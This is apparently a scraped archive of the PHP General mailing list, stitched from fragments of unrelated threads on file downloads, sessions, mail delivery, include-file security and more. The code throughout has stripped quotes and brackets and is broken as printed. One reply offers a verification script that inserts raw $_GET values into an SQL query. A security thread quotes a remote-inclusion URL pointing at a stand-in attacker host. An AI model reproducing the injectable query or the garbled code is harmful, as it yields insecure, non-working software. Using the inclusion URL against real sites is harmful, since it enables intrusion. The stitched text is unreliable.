[PHP] STUMPED: path/style vars in Windows with IIS
Hello. I am trying to get path/style variables working in windows with IIS on a hosted environment.

If you read the post Jason suggested I print out using
both single and double quotes.
Yes, I really do suggest that you re-read what was said in this thread.
Regardless that has very little to do with my
question.
I believe that in the code you posted previously you was using '$Ind' in
strcmp(), in which case it is extremely relevant, that is why I brought it
up.
Here is just another variation of my multiple select
list.
option value=?php echo
$rsinds-Fields('CareerIDs')??php if
($rsinds-Fields('CareerIDs')== 5) {echo SELECTED;}
??php echo
$rsinds-Fields('CareerCategories')?/option
Here I was just testing with a specific value.
the line == 5 will set the value SELECTED correctly.
If I put in 5, 6, or '5,','6', etc, I get an error.
However, I don't believe that line works for multiple
values. What works is still a mystery to me.
For heaven's sake, do you even know what the HTML *should* look like? Did you
construct an example to look at? If you're unable to construct your own
example just look at someone else's, go find a site that has multi-select
listboxes with pre-selected values and examine the HTML source.
Once you know what the HTML should look like it would be straightforward to
recreate it using PHP.

RE: [PHP] How can I fix that
I've just had this exact problem. The solution as far as I found is one of the following: 1. Keep a $_SESSION going and set a flag, then on a re-post you can check the flag to see if it's set and hopefully spot the re-post. 2. Check to see if what you're about to enter is already there, chances are it's a repost - this only works for certain sorts of applications though. 3. Divert the user to a different page using header() so that if they hit refresh they only refresh the thankyou page and not the post - this doesn't stop 'back' for screwing things though. 4. Use java to prevent the history, I've found this example (not tested it) script language=php history.forward(); /script Hope this helps Matthew -Original Message- From: Aalee [mailto:[EMAIL PROTECTED] Sent: 13 December 2004 09:50 To: [EMAIL PROTECTED] Subject: [PHP] How can I fix that Hi there everyone...

But the problem is still there (CGI and CLI sapi tested). I used the -n option, so php.ini can't cause the problem, either. Has anyone else experienced that? http://www.php.net/manual/en/function.imagegif.php - *Note: * Since all GIF support was removed from the GD library in version 1.6, this function is not available if you are using that version of the GD library. Umm... did you read the OP? He's not asking about GIF support -- he's asking why temporary files created by PHP + GD are not being deleted when imagedestroy() is issued. To the OP: from the manual, imagedestroy merely frees memory associated with an image resource; it doesn't remove the temp file associated with it. It's possible that PHP is either relying on the OS's /tmp cleanup routines or Apache's temp file cleanup, or has set a large garbage collection interval itself in its php.ini. -- Matthew Weier O'Phinney | mailto:[EMAIL PROTECTED] Webmaster and IT Specialist | http://www.garden.org National Gardening Association| http://www.kidsgardening.com 802-863-5251 x156 | http://nationalgardenmonth.org -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Is it a true hierarchy, or is it a heterarchy?

If *NOT*, then you really don't need all the nested categories in your

the others in your database.
Of course, you could simply walk through $_SERVER['PATH_INFO'] and build
your category list:

$controller = $parts[0];
$module = $parts[1];
unset($parts[0]);

[PHP] Delivering large files via PHP (300MB)
Hi all,
Just thought I would pick the collective brain on this one. I have
a requirement to deliver a large EXE file to customers after they
order. The file is just under 400 MB in size and, because they have
just purchased it, I obviously cannot have this file in a public
location on the web server that someone could browse to.
I can push the file out quite easily using a modified header and a
simple script to check if they can download it or not, but with
such a large file a significant number of web browsers fail to
obtain the entire EXE before closing - or any other number of
factors kick into play (their PC resets, ISP disconnects, Windows
crashes, etc).
Some browsers support resuming download, but not when the file has
been sent via the headers I use, also FTP is not an option as I
cannot create and destroy FTP users on the server easily (or for
that matter assume the customer knows how to perform FTP
operations).
I'm also aware that it's not such a hot idea to lock-up Apache for
the time it takes to download the whole file, especially with a
large number of users doing this.
So I came up with an idea that I'd like your opinions on: I built a
small but friendly Windows application (50KB in size) that will
connect to the web server via HTTPS, check the download credentials
and if all is ok, it then downloads the file via HTTP in 1MB
chunks. The file is just a single EXE file sat outside of my web
root, and the PHP script that serves the file uses fopen() to open
the file, then fseeks to the required section of it, reads in 1MB
worth of data, closes the file and then echos this out (after
suitable headers of course, shown below)
header('Content-Type: application/force-download');
header('Content-Transfer-Encoding: Binary');
header(Content-Length: $total_chunksize);
header(Content-Disposition: attachment; filename=\$chunkname\);
The Windows app performs various checks on the file segments as
they download and eventually stitches the whole thing back together
at the end (there is a resume download feature so you can come
back to it at a later time if you need, or your ISP disconnects).
A quick MD5 file integrity check with the server confirms the file has
downloaded fully.
I have tested this out on some massive files across a range of PCs
and Windows installations and it works perfectly, so I'm happy that
the Windows side of things is correct. But I would be interested to
hear peoples views on the PHP side of the equation - would it be
better for Apache to be running PHP scripts that shove out smaller
1MB chunks as opposed to doing a fpassthru on a 300MB+ file? Or do
you think there is another more elegant solution?
I'm aware my app is for Windows only (although I could easily port
it to OS X), but the files they are downloading are PC games
anyway, so it's no bad thing in this case.
Best regards,
Richard Davey

[PHP] url rewritting in php5
Hello!
I'm solving one problem and I'd like to ask you for hints/advices or
'RTFM at link' answers.
Problem is:
I need special type of URL to be 'rewritten' in the way how the Apache
does the URL rewritting.
example:
fopen('chrome://myfile.txt', 'r');
to have be internaly resolved for eaxample as
fopen('/var/www/localhost/chrome/myfile.txt', 'r');
I know that there is the way how to register url wrapper in PHP5. It is
the solution. But I do not need to implement whole API.
Is there way to do something like this?
class ChromeWrapper extends PHP_STD_FILE_WRAPPER {
function stream_open($path,$mode,$opts,$opened_path) {
$path=str_replace('chrome://', '/var/www/localhost/chrome/', $path);
parent::stream_open($path, $mode, $opts, $opened_path);
}
}
... simply implement easily only the path rewritting instead of
implementing all the functions that are already done in built-in api.
Or is there some way how to register 'filter' that filters $path instead
of the content?
Thank you for sharing your knowledge

Code re-use may be the only redeeming quality of OO programming, and honestly I can re-use your code from a non-OO include file just as easily. yep, unless the function names happen to conflict with ones you've already written. Then, you run into the oh-crap-I-should-have-planned-to-use-other-code-oh-well-I-guess-I'll-rename-everything-and-waste-hours problem. Class names occasionally conflict, but this tends to be a much smaller and simpler search-and-replace. Changing a function name in all my files is a one-line global search and replace. That assumes you write good code to start with, of course. I would challenge anyone advocating functions: how many of you have had to modify your function-based program to do a similar thing and been forced to rewrite? Even with well-designed functions, you end up with this problem - code modification is impossible. This is why I hardly ever use static methods or functions. Notice - I do use these things, but you have to know when it is appropriate to do so. Classes aren't a magic bullet -- You'll still need to write more code. It's even quite likely that you'll need to go back and change code in the original class to accommodate some weird thing in the new code / requirements. Then you need to re-test everything everywhere that relies on that class. A little forethought in your functions (or classes, for that matter) can often avoid this. I often have functions with code to handle situations my client hasn't realized they are going to need some day. Sometimes I even tell them about it, so they'll know that we're prepared. :-) functions and static methods should be used for code that you can guarantee you *don't* want to change - ever (well, at least almost never). Anything that you may need to extend or modify functionality must be implemented with something more flexible, or you're going to get screwed at some point. Static methods should be used for any functions that are re-distributable so that others can plug them in without risk of name conflicts. Invariably, the other guy who wrote the class I want to use (in C++ now) decided to make something static/private that I actually don't *WANT* to be static/private to make my code work. Not fun. If you're writing the code for Yahoo like Rasmus, you're going to write the fastest code imaginable, and you will also be working on the C code to do things. Since most Readers of this forum aren't writing code for Yahoo... If you're writing the code for podunk.com, or even for a mid-level traffic site, it is extremely unlikely that you will notice even the slightest difference between OO and non-OO code. The biggest hogs in php programming are: au contraire, my dear friend. I have often ripped out a bunch of OO crap and replaced it with functional programming and had SIGNIFICANT performance increases. All that class junk has to get loaded and parsed, and inexpereienced OO programmers invariably have three times as much code as they need, to no benefit. 1) unnecessary images and animated crap/unnecessary javascript 2) terrible database usage 3) too much complexity in the design It doesn't matter whether you are using OO or functions - if your application has too many lines of code per task, it won't be fast.

That's down to your opinion and experience. Most packaged applications have all the files accessible in the webdir. In most apps changing this would mean a lot of rewriting. No, it doesn't. You just move all those include files somewhere else, and change PHP's include_path setting. This is not rocket science. If you can't do that, for whatever reason, you may be able to stop those files from being executed outside the context in which they were intended: Convince Apache *not* to execute .inc files as PHP, for example. Of course, some well-intentioned, but badly-designed, packages use .inc.php to force the execution of include files as PHP. As we have seen here, you simply do not *want* that to happen. Executing snippets of code out of the context in which they were programmed is just plain foolhardy. I agree but your perfect world isn't the one I'm living in, if it were, we wouldn't have needed register_globals. I'm not suggesting a perfect world. I'm suggesting you move a bunch of files from A to B and change one (1) PHP setting, include_path. If that's too much effort, then you might as well just resolve yourself to re-installing from backups every few months because that *IS* what you will be doing. You've got huge chunks of code in those packages that the bad guys are executing all out of any sort of order that the Programmer ever even thought about them. So we agree that the programmer isn't always considering these things. Phew. Yes. Or, more likely, if you read the install documentation carefully, they will recommend that you do just what I described above. Of course, far too many users dump all the source in a directory, fire up their browser, configure the application, get it to work, and NEVER READ the install docs thoroughly. They get it to work, and let the sleeping dog lie. Alas, this is an except to that rule of letting the dog be. Don't do that. comprimise the site was to have a variable passed in the url to set the base url to a remote site, which in turn output php to execute, i.e.: http://example.com/config.php?base_url=http://myhacksite.example.com Now, you are correct that education on how to avoid this kind of issue is key, however that does not avoid the problem. Turning of register globals would prevent many of these attacks, however there are still many apps out there that require register globals to be on and there are other ways to use this exploit with them off. Please explain these other ways, or provide references. Sorry, same way. I have seen ann application that set the base url in $_REQUEST. Needless to say it was avoided like the plague. And to be honest, it was the only app I've seen that did this. That, for sure, was the right decision for such a badly-designed application. Also, if an application requires register_globals on at this point in time, it may be prudent to simply not support the installation of that package. That may seem harsh, even unreasonable, but at some point, it's time for the application developers, who have quite some time now, to make their software well-behaved with register_globals OFF. Yeah I agree... unfortunately there are hosting companies who insist on keeping them for BC. And I was a bit shocked when this first happened to me with a stable version of phpBB. It has since been fixed, but I wonder how many people were open to the attack. I wonder how manby people had not copied all of those include file out of the web dir? Many I imagine. Yup. And that's one reason why register_globals became such the Big Issue in the first place. If all programmers initialized all variables correctly, and all include files were outside the web tree where they belonged, register_globals OFF would not be necessary at all. I'm not naive enough to think that's going to happen, mind you, but, honestly, register_globals is not *ENOUGH*. You've got to move the include files anyway. And you may want to test with error_reporting set to E_ALL. I, personally, have my own standards for installing applications. If they can't run with register_globals OFF, they don't get installed. If they can't run with E_ALL, they don't get installed. And no cheating by resetting error_reporting inside the application either. Un-unh. It runs with true E_ALL, or it doesn't get installed. If I can't figure out how to get all those include files somewhere else, it doesn't get installed. I appreciate your problems -- I'm just trying to tell you that your solution is like swatting an elephant with a feather.

You have a shared hosting account with example.com hosted on it. 2. You want a guestbook setup on it, and you've found one that you like. 3. You install phpMyFantasticGuestbook onto your account. 4. It's a well used application and thus you don't go through the source to check for vunerabilities. 5. Joe Hacker has studied the script coz he's a tart that wants to piss people off and he has found a vunerability. 6. Joe Hacker uses the vunerability to change your account passwd. He then logs in as you and deletes all your files. He has access to your mysql password which was in the congif file of phpMyFantasticGuestbook and he deletes all your data, he then leaves a nice index.php in your account to say that he's been by.

This horse is probably dead, but: As long as your include files are in the web tree, your risk, regardless of remote include on/off, remains TOO HIGH. After the include files aren't in the web tree, the remote include is irrelevant in most cases of the well-used/well-tested applications. There are still other risks to them, however, but they are almost certainly smaller and less pervasive than this. -- Like Music? http://l-i-e.com/artists.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

The file is just a single EXE file sat outside of my web root, and the PHP script that serves the file uses fopen() to open the file, then fseeks to the required section of it, reads in 1MB worth of data, closes the file and then echos this out (after suitable headers of course, shown below) This sounds an awful lot like various web installers.

[PHP] Unreliable mail delivery through PHP
Hello,
I have a function that is called each time a new visitor creates an
account on our site. The function is as follows:
?php
function send_new_account_alert()
{
$to= ADMIN_EMAIL;
$from = Accounts accounts@.SITE_DOMAIN.;
$subject = New Account Created at .SITE_NAME;
$tmp_ADMIN_URL = ADMIN_URL;
$body = QQQ
A new account has been created and needs approval. You can find a list
of
accounts that nead approval by logging in to the admin section found at:
$tmp_ADMIN_URL
Do not reply to this email as it is unattended.
QQQ;
send_email($to, $from, $subject, $body);
}
function send_email($to, $from, $subject, $body, $bcc = false)
{
$headers = From: $from\n
.Reply-To: $from\n
.X-Mailer: PHP/.phpversion();
if($bcc != false)
{
$headers .= \nBcc: $bcc;
}
mail($to, $subject, $body, $headers);
}
?
Assuming all the email addresses are correct, is there anything about
the above two functions that is incorrect or might be causing the
unreliable'ness'? Or maybe someone has some tips for debugging this kind
of thing?
Specifically, what's happening is that I don't get the same number of
emails as I do new users. Let's say I get an email notifying me of a new
account, when I get to the Admin section I'll see that there are maybe
2, 3, or 4 accounts waiting to be approved (administrator approval is
required in most cases). But I didn't get that many emails, I just got
the one.
I haven't been able to figure out why yet. The server is not under any
amount of load (almost no load in fact) that would cause something like
this.
Any ideas are welcome.

When I run it I get nothing but an x in the top left corner of my web page(no errors nothing). GD is uncommented in my php.ini, ext dir set and I have verified that GD is installed through php -m,phpinfo() , and gd_info(). Can anyone offer me some advice on how to troubleshoot this problem. I searched google, and did see other posts like mine but no solutions.

Hi, Yes, apache can do read/write in /tmp. I can't su to apache. But I created another account in apache group(userid test1). I have such tests by using that account.

Re: [PHP] Delivering large files via PHP (300MB)

You must have missed the part about 'cannot have this file in a public location'. Just thought I would pick the collective brain on this one. I have a requirement to deliver a large EXE file to customers after they order. The file is just under 400 MB in size and, because they have just purchased it, I obviously cannot have this file in a public location on the web server that someone could browse to. I can push the file out quite easily using a modified header and a simple script to check if they can download it or not, but with such a large file a significant number of web browsers fail to obtain the entire EXE before closing - or any other number of factors kick into play (their PC resets, ISP disconnects, Windows crashes, etc). Use set_time_limit(0); to prevent the timeout. ignore_user_abort() is pretty handy too. If that doesn't work you might give them authenticated http access with temporary passwords. You can have the usernames and passwords in a db and pass the proper auth headers with PHP. Some browsers support resuming download, but not when the file has been sent via the headers I use, also FTP is not an option as I cannot create and destroy FTP users on the server easily (or for that matter assume the customer knows how to perform FTP operations). I feel your pain. I'm also aware that it's not such a hot idea to lock-up Apache for the time it takes to download the whole file, especially with a large number of users doing this. Apache 2 is pretty good with multiple threads from what I hear. I use it but not in a production environment. -- Greg Donald Zend Certified Engineer http://gdconsultants.com/ http://destiney.com/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Awesome, welcome to the club. :) But I have some general question about sessions... Actually, about PHP's built in session support. Do I need to call session_start() in every script that needs access to $_SESSION[]? Yup. I place the call in my config.php file that I include in all my other PHP files. I think I would like to store a user id in my $_SESSION[] global. If this variable is set, I will consider this session logged in. Is their a secure way to do this? That's pretty much how I do it. User's who are not logged in have a $_SESSION['userid'] equal to zero. Logged-in users have their userid set as it exists in the table of users. I would like to have at least an outline of how this works in my head, so tell me if I am wrong in any of this: When session_start() is called, this function sets a cookie in this browser with a unique value that is bound to a set of globals (IE, the contents of $_SESSION[]). When subsequent HTTP requests have this cookie attached, the correct set of $_SESSION[] variables is loaded... Everything right? Yup.

Re: [PHP] email processing
Hi Adwin,
I don't know if this'll help you but the way I've done it on my site is
to send out a confirmation email with a link the user needs to follow to
confirm. The link ends with two GET variables, one being the username
and one being a unique number created for their account at time of
registration.
Eg xxx.org/verify.php?username=monkeyid=1D21xepFkk465
When the link is followed, the php page 'verify.php' includes something
a little like this
//***
$query = SELECT * FROM members WHERE username='$_GET[username]' AND
id='$_GET[id]';
$result = mysql_query($query) or die();
$num_results = mysql_num_rows($result);
if ($num_results == 1)
{
// Set authorisation to yes
// Send email / Display confirmation message
}
else
{
// Display failure message
}
***//
I'm sure there are better ways of doing it than this but I find this
works effectively for what I need.
Also, you can give the recipient an easy way to unregister if someone
has added them to your databse against their wishes through either a
switch function or a separate page
eg:
To confirm, click here: .org/verify.php?action=confirmuser=id=
To remove yourself, click here:
...org/verify.php?Action=removeuser=id=
---
switch ($action)
{
case remove :
// MySQL remove
case confirm :
// MySQL confirm
OR
To confirm, org/confirm.php?username=id=
To remove, org/remove.php?username=id=
Hope this helps?

Re: [PHP] Byte Array
Just a follow-up to myself... I decided to try packet sniffing to see
what was going on and ettercap confirms that I'm sending out strings
rather than data of the type stored in my array:
16:12:26 192.168.0.101:32779 -- 192.168.0.88:32896 | UDP |
: 3331 31
That 31 should be an integer of only one byte, not two.
The function that's doing the sending looks like this:
function send_back($sock, $msg, $ip, $port) {
$fp = fsockopen(udp://$ip, $port, $errno, $errstr);
foreach ($msg as $msg_to_send) {
fwrite($fp, $msg_to_send);
echo date(H:i:s). SENT '$msg_to_send'\n; //seen server
side
}
fclose($fp);
}
Can anyone see where I might be going wrong? Why am I not sending the
integers as integers and the binary bits as binary bits?
